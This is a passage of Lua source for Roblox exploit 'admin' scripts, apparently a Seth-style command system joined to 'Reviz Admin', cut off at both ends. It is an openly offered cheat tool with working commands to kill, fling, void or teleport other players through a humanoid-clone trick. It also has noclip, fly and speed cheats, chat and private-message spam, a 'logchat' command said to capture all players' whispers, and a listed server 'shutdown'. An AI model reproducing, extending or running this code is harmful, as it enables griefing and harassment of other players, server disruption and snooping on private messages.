HB.Selected:connect(function(M)
M.Button1Down:connect(function() CONTROL_ENABLED = true
CONTROL(_PLAYERS:FindFirstChild(HB.Name), M.Hit.p) end)
M.Button1Up:connect(function() CONTROL_ENABLED = false end)
end)
end
end)
-- / extra
ADD_COMMAND('gravity','gravity [int]',{},
function(ARGS, SPEAKER)
workspace.Gravity = ARGS[1]
end)
ADD_COMMAND('fixlighting','fixlighting',{'fixl'},
function(ARGS, SPEAKER)
FIX_LIGHTING()
end)
ADD_COMMAND('fixfog','fixfog',{'clrfog'},
function(ARGS, SPEAKER)
_LIGHTING.FogColor = C3(191, 191, 191)
_LIGHTING.FogEnd = 100000000
_LIGHTING.FogStart = 0
end)
ADD_COMMAND('day','day',{},
function(ARGS, SPEAKER)
_LIGHTING.TimeOfDay = 14
end)
ADD_COMMAND('night','night',{},
function(ARGS, SPEAKER)
_LIGHTING.TimeOfDay = 24
end)
ADD_COMMAND('serverlock','serverlock',{'slock'},
function(ARGS, SPEAKER)
SERVER_LOCKED = true
end)
ADD_COMMAND('unserverlock','unserverlock',{'unslock'},
function(ARGS, SPEAKER)
SERVER_LOCKED = false
end)
ADD_COMMAND('fogend','fogend [int]',{},
function(ARGS, SPEAKER)
_LIGHTING.FogEnd = ARGS[1]
end)
ADD_COMMAND('noclip','noclip',{},
function(ARGS, SPEAKER)
NOCLIP = true
JESUSFLY = false
SWIM = false
end)
ADD_COMMAND('clip','clip',{},
function(ARGS, SPEAKER)
NOCLIP = false
end)
ADD_COMMAND('jesusfly','jesusfly',{},
function(ARGS, SPEAKER)
NOCLIP = false
JESUSFLY = true
SWIM = false
end)
ADD_COMMAND('nojfly','nojfly',{},
function(ARGS, SPEAKER)
JESUSFLY = false
end)
ADD_COMMAND('swim','swim',{},
function(ARGS, SPEAKER)
NOCLIP = false
JESUSFLY = false
SWIM = true
end)
ADD_COMMAND('noswim','noswim',{},
function(ARGS, SPEAKER)
SWIM = false
end)
ADD_COMMAND('fly','fly',{},
function(ARGS, SPEAKER)
sFLY()
end)
ADD_COMMAND('unfly','unfly',{},
function(ARGS, SPEAKER)
NOFLY()
end)
ADD_COMMAND('prefix','prefix [string]',{},
function(ARGS, SPEAKER)
if ARGS[1] then
C_PREFIX = ARGS[1]
NOTIFY('Changed prefix to \'' .. ARGS[1] .. '\'', 255, 255, 255)
end
end)
ADD_COMMAND('version','version',{},
function(ARGS, SPEAKER)
NOTIFY('VERSION | ' .. VERSION, 255, 255, 255)
end)
ADD_COMMAND('fe','fe',{},
function(ARGS, SPEAKER)
spawn(function()
CHECK_FE()
end)
end)
function OPEN_COMMANDS()
SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 30)
SETH_MAIN.main.holder.holders.search.Visible = true
end
function CLOSE_COMMANDS()
SETH_MAIN.main.holder.holders.search.Visible = false
SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 0)
end
function OPEN_TAB(TAB)
if not _CORE:FindFirstChild('seth_main') then OPEN_MAIN() end
for a,b in pairs(SETH_MAIN.main.holder.holders:GetChildren()) do
if b.Name ~= TAB then
b.Visible = false
else
b.Visible = true
end
if TAB ~= 'cmds' then
CLOSE_COMMANDS()
else
OPEN_COMMANDS()
end
end
end
ADD_COMMAND('serverinfo','serverinfo',{'sinfo'},
function(ARGS, SPEAKER)
OPEN_TAB('server')
end)
ADD_COMMAND('admins','admins',{},
function(ARGS, SPEAKER)
OPEN_TAB('admins')
end)
ADD_COMMAND('cmds','cmds',{'commands'},
function(ARGS, SPEAKER)
OPEN_TAB('cmds')
end)
ADD_COMMAND('bans','bans',{},
function(ARGS, SPEAKER)
OPEN_TAB('bans')
end)
ADD_COMMAND('fun','fun',{},
function(ARGS, SPEAKER)
OPEN_TAB('fun')
end)
ADD_COMMAND('changelog','changelog',{},
function(ARGS, SPEAKER)
OPEN_TAB('changelog')
end)
ADD_COMMAND('credits','credits',{},
function(ARGS, SPEAKER)
OPEN_TAB('credits')
end)
MOUSE.KeyDown:connect(function(key)
if key:byte() == 29 then
if not NOCLIP then
ECOMMAND('noclip')
elseif NOCLIP then
ECOMMAND('clip')
end
elseif key:byte() == 30 then
if not JESUSFLY then
ECOMMAND('jesusfly')
elseif JESUSFLY then
ECOMMAND('nojfly')
end
end
end)
-- / after loaded
function CHECK_FE()
if not workspace.FilteringEnabled then
NOTIFY('Filtering is disabled', 50, 255, 50)
elseif workspace.FilteringEnabled then
NOTIFY('Filtering is ENABLED', 255, 50, 50)
end
end
CMD_BAR_H.bar.FocusLost:connect(function()
GOING_IN = true
if CMD_BAR_H.bar.Text ~= '' then
spawn(function()
ECOMMAND(CMD_BAR_H.bar.Text, LP)
end)
end
CMD_BAR_H.bar.commands:ClearAllChildren()
CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut', 'Quad', 0.2,
true)
CMD_BAR_H.bar:TweenPosition(UDim2.new(0, -225, 1, -50), 'InOut', 'Quad', 0.5,
true)
end)
MOUSE.KeyDown:connect(function(K)
if K:byte() == 59 then
GOING_IN = false
CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad',
0.5, true)
CMD_BAR_H.bar:CaptureFocus()
end
end)
Reviz.Name = "Reviz"
Reviz.Parent = Admin
Reviz.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Reviz.Position = UDim2.new(0.0369318128, 0, 0.535087705, 0)
Reviz.Size = UDim2.new(0, 147, 0, 39)
Reviz.Font = Enum.Font.Cartoon
Reviz.Text = "Reviz Admin"
Reviz.TextColor3 = Color3.new(0, 0, 0)
Reviz.TextScaled = true
Reviz.TextSize = 14
Reviz.TextWrapped = true
Reviz.MouseButton1Down:connect(function()
-- Creator: illremember#3799
prefix = ":"
wait(0.3)
Commands = {
'[-] cmdbar is shown when ; is pressed.',
'[1] kill [plr] -- You need a tool! Will kill the player, use rkill to kill you
and player',
'[2] bring [plr] -- You need a tool! Will bring player to you',
'[3] spin [plr] -- You need a tool! Makes you and the player spin crazy',
'[4] unspin -- Use after using spin cmd and dying, so you stop loop
teleporting',
'[5] attach [plr] -- You need a tool! Attaches you to player',
'[6] unattach [plr] -- Attempts to unattach you from a player',
'[7] follow [plr] -- Makes you follow behind the player',
'[8] unfollow',
'[9] freefall [plr] -- You need a tool! Teleports you and the player up into
the air',
'[10] trail [plr] -- The opposite of follow, you stay infront of player',
'[11] untrail',
'[12] orbit [plr] -- Makes you orbit the player',
'[13] unorbit',
'[14] fling [plr] -- Makes you fling the player',
'[15] unfling',
'[16] fecheck -- Checks if the game is FE or not',
'[17] void [plr] -- Teleports player to the void',
'[18] noclip -- Gives you noclip to walk through walls',
'[19] clip -- Removes noclip',
'[20] speed [num]/ws [num] -- Changes how fast you walk 16 is default',
'[21] jumppower [num]/jp [num] -- Changes how high you jump 50 is default',
'[22] hipheight [num]/hh [num] -- Changes how high you float 0 is default',
'[23] default -- Changes your speed, jumppower and hipheight to default
values',
'[24] annoy [plr] -- Loop teleports you to the player',
'[25] unannoy',
'[26] headwalk [plr] -- Loop teleports you to the player head',
'[27] unheadwalk',
'[28] nolimbs -- Removes your arms and legs',
'[29] god -- Gives you FE Godmode',
'[30] drophats -- Drops your accessories',
'[31] droptool -- Drops any tool you have equipped',
'[32] loopdhats -- Loop drops your accessories',
'[33] unloopdhats',
'[34] loopdtool -- Loop drops any tools you have equipped',
'[35] unloopdtool',
'[36] invisible -- Gives you invisibility CREDIT TO TIMELESS',
'[37] view [plr] -- Changes your camera to the player character',
'[38] unview',
'[39] goto [plr] -- Teleports you to player',
'[40] fly -- Allows you to fly, credit to Infinite Yield',
'[41] unfly',
'[42] chat [msg] -- Makes you chat a message',
'[43] spam [msg] -- Spams a message',
'[44] unspam',
'[45] spamwait [num] -- Changes delay of chatting a message for the spam
command in seconds default is 1 second',
'[46] pmspam [plr] -- Spams a player in private message',
'[47] unpmspam',
'[48] cfreeze [plr] -- Freezes a player on your client, they will only be
frozen for you',
'[49] uncfreeze [plr]',
'[50] unlockws -- Unlocks the workspace',
'[51] lockws -- Locks the workspace',
'[52] btools -- Gives you btools that will only show to you useful for deleting
certain blocks only for you',
'[53] pstand -- Enables platform stand',
'[54] unpstand -- Disables platform stand',
'[55] blockhead -- Removes your head mesh',
'[56] sit',
'[57] bringobj [obj] -- Only shows on client, brings an object/part to you
constantly, can be used to bring healing parts, weapons, money etc, type in exact
name',
'[58] wsvis [num] -- Changes visibility of workspace parts, num should be
between 0 and 1, only shows client sided',
'[59] hypertotal -- Loads in my FE GUI Hypertotal',
'[60] cmds -- Prints all commands',
'[61] rmeshhats/blockhats -- Removes the meshes of all your accessories aka
block hats',
'[62] rmeshtool/blocktool -- Removes the mesh of the tool you have equipped aka
block tool',
'[63] spinner -- Makes you spin',
'[64] nospinner',
'[65] reach [num] -- Gives you reach, mostly used for swords, say ;reachd for
default and enter number after for custom',
'[66] noreach -- Removes reach, must have tool equipped',
'[67] rkill [plr] -- Kills you and the player, use kill to just kill the player
without dying',
'[68] tp me [plr] -- Alternative to goto',
'[69] cbring [plr] -- Brings player infront of you, shows only on client,
allows you to do damage to player',
'[70] uncbring',
'[71] swap [plr] -- You need a tool! Swaps players position with yours and your
position with players',
'[72] givetool [plr] -- Gives the tool you have equipped to the player',
'[73] glitch [plr] -- Glitches you and the player, looks very cool',
'[74] unglitch -- Unglitches you',
'[75] grespawn -- Alternative to normal respawn and usually works best for when
you want to reset with FE Godmode',
'[76] explorer -- Loads up DEX',
'[77] reset -- Resets your character.',
'[78] anim [id] -- Applies an animation on you, must be created by ROBLOX',
'[79] animgui -- Loads up Energize animations GUI',
'[80] savepos -- Saves your current position',
'[81] loadpos -- Teleports you to your saved position',
'[82] bang [plr] -- 18+ will not work if you have FE Godmode on',
'[83] unbang',
'[84] delcmdbar -- Removes the command bar completely',
'[85] bringmod [obj] -- Brings all the parts in a model, client only, comes
from ;bringobj enter exact name of model',
'[86] shutdown -- Uses harkinians script to shutdown server',
'[87] respawn -- If grespawn doesnt work you can use respawn',
'[88] delobj [obj] -- Deletes a certain brick in workspace, client sided',
'[89] getplrs -- Prints all players in game',
'[90] deldecal -- Deletes all decals client sided',
'[91] opfinality -- Loads in my FE GUI Opfinality',
'[92] remotes -- Prints all remotes in the game in the console when added',
'[93] noremotes -- Stops printing remotes',
'[94] tpdefault -- Stops all loop teleports to a player',
'[95] stopsit -- Will not allow you to sit',
'[96] gosit -- Allows you to sit',
'[97] clicktp -- Enables click tp',
'[98] noclicktp -- Disables click tp',
'[99] toolson -- If any tools are dropped in the workspace you will
automatically get them',
'[100] toolsoff -- Stops ;toolson',
'[101] version -- Gets the admin version',
'[102] state [num] -- Changes your humanoid state, ;unstate to stop.',
'[103] gravity [num] -- Changes workspace gravity default is 196.2',
'[104] pgs -- Checks if the game has PGSPhysicsSolverEnabled enabled',
'[105] clickdel -- Delete any block you press q on, client sided',
'[106] noclickdel -- Stops clickdel',
'[107] looprhats -- Loop removes mesh of your hats/loop block hats',
'[108] unlooprhats -- Stops loop removing mesh',
'[109] looprtool -- Loop removes mesh of your tool/loop block tools',
'[110] unlooprtool -- Stops loop removing mesh',
'[111] givealltools [plr] -- Gives all the tools you have in your backpack to
the player',
'[112] age [plr] -- Makes you chat the account age of the player',
'[113] id [plr] -- Makes you chat the account ID of the player',
'[114] .age [plr] -- Privately shows you the account age of the player',
'[115] .id [plr] -- Privately shows you the account ID of the player',
'[116] gameid -- Shows the game ID',
'[117] removeinvis -- Removes all invisible walls/parts, client sided',
'[118] removefog -- Removes fog, client sided',
'[119] disable -- Disables your character by removing humanoid',
'[120] enable -- Enables your character by adding humanoid',
'[121] prefix [key] -- Changes the prefix used, default is ;',
'[122] ;resetprefix -- Resets the prefix to ; incase you change it to an
unusable prefix. Say exactly ";resetprefix" to do this command, no matter what your
prefix is set to.',
'[123] flyspeed [num] -- Change your fly speed, default is 1',
'[124] carpet [plr] -- Makes you a carpet for a player, will not work if FE
Godmode is on',
'[125] uncarpet -- Stops carpet player',
'[126] stare [plr] -- Turns your character to stare at another player',
'[127] unstare -- Stops stare player',
'[128] logchat -- Logs all chat (including /e and whispers) of all players',
'[129] unlogchat -- Disables logchat',
'[130] fixcam -- Fixes/resets your camera',
'[131] unstate -- Stops changing state',
}
speedget = 1
lplayer = game:GetService("Players").LocalPlayer
lplayer.CharacterAdded:Connect(function(character)
spin = false
flying = false
staring = false
banpl = false
end)
function change()
prefix = prefix
speedfly = speedfly
end
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
droppinghats = false
droppingtools = false
flying = false
spamdelay = 1
spamming = false
spammingpm = false
cbringing = false
remotes = true
added = true
binds = false
stopsitting = false
clickgoto = false
gettingtools = false
removingmeshhats = false
removingmeshtool = false
clickdel = false
staring = false
chatlogs = false
banpl = false
changingstate = false
statechosen = 0
flying = false
speedfly = 1
closegui.MouseButton1Click:connect(function()
CMDSFRAME.Visible = false
end)
game:GetService('RunService').Stepped:connect(function()
if spin then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[spinplr.Name].Character.HumanoidRootPart.CFrame
end
if followed then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[flwplr.Name].Character.HumanoidRootPart.CFrame + game:GetService("Players")
[flwplr.Name].Character.HumanoidRootPart.CFrame.lookVector * -5
end
if traill then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[trlplr.Name].Character.HumanoidRootPart.CFrame + game:GetService("Players")
[trlplr.Name].Character.HumanoidRootPart.CFrame.lookVector * 5
end
if annoying then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[annplr.Name].Character.HumanoidRootPart.CFrame
end
if hwalk then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[hdwplr.Name].Character.HumanoidRootPart.CFrame + Vector3.new(0, 4, 0)
end
if staring then
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(lplayer.Character.Torso.Position, game:GetService("Players")
[stareplr.Name].Character.Torso.Position)
end
end)
game:GetService('RunService').Stepped:connect(function()
if noclip then
if lplayer.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
lplayer.Character.Head.CanCollide = false
lplayer.Character.Torso.CanCollide = false
lplayer.Character["Left Leg"].CanCollide = false
lplayer.Character["Right Leg"].CanCollide = false
else
lplayer.Character.Humanoid:ChangeState(11)
end
end
if changingstate then
lplayer.Character.Humanoid:ChangeState(statechosen)
end
end)
game:GetService('RunService').Stepped:connect(function()
if droppinghats then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if droppingtools then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if removingmeshhats then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if removingmeshtool then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
end)
game:GetService('RunService').Stepped:connect(function()
if banpl then
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[bplrr].Character.HumanoidRootPart.CFrame
end
end)
game:GetService('RunService').Stepped:connect(function()
if stopsitting then
lplayer.Character.Humanoid.Sit = false
end
end)
plr = lplayer
hum = plr.Character.HumanoidRootPart
mouse = plr:GetMouse()
mouse.KeyDown:connect(function(key)
if key == "e" then
if mouse.Target then
if clickgoto then
hum.CFrame = CFrame.new(mouse.Hit.x, mouse.Hit.y + 5, mouse.Hit.z)
elseif clickdel then
mouse.Target:Destroy()
end
end
end
end)
game:GetService("Workspace").ChildAdded:connect(function(part)
if gettingtools then
if part:IsA("Tool") then
part.Handle.CFrame = lplayer.Character.HumanoidRootPart.CFrame
end
end
end)
lplayer.Chatted:Connect(function(msg)
if string.sub(msg, 1, 6) == (prefix.."kill ") then
if string.sub(msg, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(100000,0,100000)
else
for i,v in pairs(GetPlayer(string.sub(msg, 7)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))
wait(0.7)
tp(lplayer,game:GetService("Players")[v.Name])
wait(0.7)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
end
if string.sub(msg, 1, 7) == (prefix.."bring ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8)))do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1.HumanoidRootPart.CFrame = char2.HumanoidRootPart.CFrame
end
end
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.2)
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.5)
getout(lplayer, game:GetService("Players")[v.Name])
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = NOW
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 6) == (prefix.."spin ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
lplayer.Character.Animate.Disabled = false
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."unspin") then
spin = false
end
if string.sub(msg, 1, 8) == (prefix.."attach ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character["Left Arm"].CFrame
attplr = v
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 10) == (prefix.."unattach ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
local function getout(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
getout(lplayer, game:GetService("Players")[v.Name])
end
end
if string.sub(msg, 1, 8) == (prefix.."follow ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
followed = true
flwplr = v
end
end
if string.sub(msg, 1, 9) == (prefix.."unfollow") then
followed = false
end
if string.sub(msg, 1, 10) == (prefix.."freefall ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(0,50000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."trail ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
traill = true
trlplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."untrail") then
traill = false
end
if string.sub(msg, 1, 7) == (prefix.."orbit ") then
if string.sub(msg, 8) == "all" or string.sub(msg, 8) == "others" or
string.sub(msg, 8) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
local o = Instance.new("RocketPropulsion")
o.Parent = lplayer.Character.HumanoidRootPart
o.Name = "Orbit"
o.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
o:Fire()
noclip = true
end
end
end
if string.sub(msg, 1, 8) == (prefix.."unorbit") then
lplayer.Character.HumanoidRootPart.Orbit:Destroy()
noclip = false
end
if string.sub(msg, 1, 7) == (prefix.."fling ") then
if string.sub(msg, 8) == "all" or string.sub(msg, 8) == "others" or
string.sub(msg, 8) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
local y = Instance.new("RocketPropulsion")
y.Parent = lplayer.Character.HumanoidRootPart
y.CartoonFactor = 1
y.MaxThrust = 800000
y.MaxSpeed = 1000
y.ThrustP = 200000
y.Name = "Fling"
game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
y.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
y:Fire()
noclip = true
end
end
end
if string.sub(msg, 1, 8) == (prefix.."unfling") then
noclip = false
lplayer.Character.HumanoidRootPart.Fling:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
wait(0.4)
lplayer.Character.HumanoidRootPart.Fling:Destroy()
end
if string.sub(msg, 1, 8) == (prefix.."fecheck") then
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a different
admin script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a different admin
script.";
})
end
end
if string.sub(msg, 1, 6) == (prefix.."void ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(999999999999999,0,999999999999999)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."noclip") then
noclip = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if string.sub(msg, 1, 5) == (prefix.."clip") then
noclip = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if string.sub(msg, 1, 7) == (prefix.."speed ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(msg, 8))
end
if string.sub(msg, 1, 4) == (prefix.."ws ") then
lplayer.Character.Humanoid.WalkSpeed = (string.sub(msg, 5))
end
if string.sub(msg, 1, 11) == (prefix.."hipheight ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(msg, 12))
end
if string.sub(msg, 1, 4) == (prefix.."hh ") then
lplayer.Character.Humanoid.HipHeight = (string.sub(msg, 5))
end
if string.sub(msg, 1, 11) == (prefix.."jumppower ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(msg, 12))
end
if string.sub(msg, 1, 4) == (prefix.."jp ") then
lplayer.Character.Humanoid.JumpPower = (string.sub(msg, 5))
end
if string.sub(msg, 1, 8) == (prefix.."default") then
lplayer.Character.Humanoid.JumpPower = 50
lplayer.Character.Humanoid.WalkSpeed = 16
lplayer.Character.Humanoid.HipHeight = 0
end
if string.sub(msg, 1, 7) == (prefix.."annoy ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
annoying = true
annplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."unannoy") then
annoying = false
end
if string.sub(msg, 1, 10) == (prefix.."headwalk ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
hwalk = true
hdwplr = v
end
end
if string.sub(msg, 1, 11) == (prefix.."unheadwalk") then
hwalk = false
end
if string.sub(msg, 1, 8) == (prefix.."nolimbs") then
lplayer.Character["Left Leg"]:Destroy()
lplayer.Character["Left Arm"]:Destroy()
lplayer.Character["Right Leg"]:Destroy()
lplayer.Character["Right Arm"]:Destroy()
end
if string.sub(msg, 1, 4) == (prefix.."god") then
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to remove";
})
end
if string.sub(msg, 1, 9) == (prefix.."drophats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if string.sub(msg, 1, 9) == (prefix.."droptool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if string.sub(msg, 1, 10) == (prefix.."loopdhats") then
droppinghats = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if string.sub(msg, 1, 12) == (prefix.."unloopdhats") then
droppinghats = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."loopdtool") then
